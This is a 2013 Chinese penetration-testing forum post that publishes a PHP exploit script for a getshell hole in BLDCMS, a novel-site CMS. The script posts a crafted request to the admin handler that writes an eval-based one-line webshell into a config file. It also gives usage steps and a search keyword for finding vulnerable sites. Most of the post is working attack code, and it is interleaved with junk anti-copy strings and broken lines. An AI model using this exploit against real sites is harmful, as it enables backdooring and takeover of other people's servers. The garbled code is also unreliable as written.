中国网络渗透测试联盟
标题:
BLDCMS(白老大小说) Getshell 0day EXP
[打印本页]
作者:
admin
时间:
2013-3-26 20:49
标题:
BLDCMS(白老大小说) Getshell 0day EXP
之前想搞一个黑阔站 发现旁站有一个站用了BLDCMS 我就下载看了.. 找到了一个getshell漏洞
* g' @* c: H$ b, J! N a. P1 p, D
5 P1 t4 I+ ^5 P/ O: }
3 J+ p" `- r4 C0 m
话说昨晚晴天小铸在90sec发现有人把这getshell漏洞的分析发出来了 擦 居然被人先发了
, w' m+ `5 W- Z* a; u/ K
) b5 c" J$ W- a
既然都有人发了 我就把我之前写好的EXP放出来吧
* @2 {: T! L4 @2 G" }( t G! j h
7 Y+ i3 Y5 M. V4 d7 P7 C
view source print?01.php;">
; [* `. p6 l$ p4 Q3 s3 z. [ u" t
02.<!--?php
. R" e# l! Q! n" G1 N! h
03.echo "-------------------------------------------------------------------
) ^3 R% j1 C$ K
04.
q# `9 g9 g; K5 ~" q) Z: ?" a
05.------------\r\n BLDCMS(白老大php小说小偷) GETSHELL 0DAY EXP
* }- T" ]2 R2 i5 k4 e, c; w
06.
8 U4 ]$ Y- ]4 r$ ?) T2 f
07.(GPC=Off)\r\n Vulnerability discovery&Code by 数据流@wooyun
. w9 h' { `& L
08.
) L8 V" A3 k# ~* v: ^' k! M
09.QQ:981009941\r\n 2013.3.21\r\n
8 r' f/ g5 a0 X5 O& [
10.
6 v0 _6 C k+ `9 X
11.
9 L: u( ?2 |1 F: A3 a; x( W
12.用法:php.exe EXP.php
www.baidu.com
/cms/ pass(一句话密码
! S# J) \) y) [+ m/ G, V- ^1 \ D
13.
' {# U) ~8 p( b) r( o% u
14.)\r\n 搜索关键字:\"开发者: 白老大小说\"\r\n-----------
$ E. x3 `' l3 v% u
15.
& _- [ u O8 u
16.--------------------------------------------------------------------\r\n";
Q* f7 w, `- a/ n2 ?& [9 H
17.$url=$argv[1];
/ R$ W( A1 K3 ~' C Z
18.$dir=$argv[2];
+ H( d# n: X5 H b. g6 O
19.$pass=$argv[3];
$ p7 N1 u* x( l1 j4 _0 A
20.$eval='\';eval($_POST['.'"'.$pass.'"'.']);\'';
' j2 |( X1 ~, ] R! ]
21.if (emptyempty($pass)||emptyempty($url))
' _+ }3 b `" K: U: b1 J
22.{exit("请输入参数");}
: a9 @& }$ X/ G0 e: J) U8 K2 Y: {1 @
23.else
8 D1 k V/ s* i5 Y
24.{
, e% n: s6 s+ k: x$ `% q
25.$fuckdata='sitename=a&qq=1&getcontent=acurl&tongji=a&cmsmd5=1&sqlite='.$ev
: z3 {8 l/ ~0 n) s, }
26.
8 }1 l$ k+ R0 v4 {# |. q z
27.al;
+ F4 h" ]: Q% g
28.$length = strlen($fuckdata);
" d' g+ F7 |) G: u4 R4 R/ ?
29.function getshell($url,$pass)
$ ?7 w6 N% |" s2 ]! Q1 s7 F+ n& J1 h
30.{
' L7 V/ C" G; J) `8 U
31.global $url,$dir,$pass,$eval,$length,$fuckdata;
( w0 S1 w* C, r1 g( W7 p: h
32.$header = "
OST /admin/chuli.php?action=a_1 HTTP/1.1\r\n";
' i/ y& n" r9 q/ I; D% f
33.$header .= "Content-Type: application/x-www-form-urlencoded\r\n";
& O0 x' [- y! _$ d! |" B
34.$header .= "User-Agent: MSIE\r\n";
v3 x( Q( Y5 N2 V5 r: S. d
35.$header .= "Host:".$url."\r\n";
- D4 t% y5 U4 y+ L# ]
36.$header .= "Content-Length: ".$length."\r\n";
" [, V, r3 B4 s- d
37.$header .= "Connection: Close\r\n";
0 J( q/ O3 i6 g8 c# E0 w
38.$header .="\r\n";
4 F/ j) }0 Y( {. m% D; ]
39.$header .= $fuckdata."\r\n\r\n";
7 {, ?, k+ E- G/ R) b
40.$fp = fsockopen($url, 80,$errno,$errstr,15);
' S) j( E v( L+ { z) C. i
41.if (!$fp)
5 \$ ]0 `4 e5 H# S
42.{
) B. g+ B, p: Q0 ~
43.exit ("利用失败:请检查指定目标是否能正常打开");
% ~, m. M" @0 B5 f- [
44.}
# ~, i9 r" e' j4 y
45.else{ if (!fputs($fp,$header))
, q# n& U( ^ d
46.{exit ("利用失败");}
2 ]8 [% g n, a
47.else
- R/ }! s" d" G- C
48.{
; K H/ E' ~* _/ l. G& ^
49.$receive = '';
7 H1 a R8 @ Y. M! @9 }$ c
50.while (!feof($fp)) {
! B, Y0 S7 e; r+ Y) |$ G- C
51.$receive .= @fgets($fp, 1000);
. l y' z9 @ _$ M- v& }' D+ }
52.}
; O& U9 J# ~/ H1 d! N+ S
53.@fclose($fp);
, u8 h4 Q0 B$ `. d" ?
54.echo "$url/$dir/conn/config/normal2.php pass
pass(如连接失败 请检查目标
; x0 q( U3 ]8 r- o0 i& t$ y
55.
0 a1 k( M0 N! r7 G2 ?! I$ D5 f
56.GPC是否=off)";
$ l6 f# j) y F( h$ z; y- t& u5 ^
57.}}
( q7 `4 S7 L D9 T
58.}
, x# I2 h+ X1 E t: y1 n, Z
59.}
: G! x3 M: `# v, \( j5 e" T
60.getshell($url,$pass);
! w) L9 r; u; F2 `
61.?-->
( M( p. k. B: `/ l/ E' b
' [+ _+ P) g6 E! @9 ` ?* b
" O N3 h. `. u( C7 O Y
9 {5 o+ } a$ b
by 数据流
8 ^6 [" O9 w0 v6 y% i# d
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2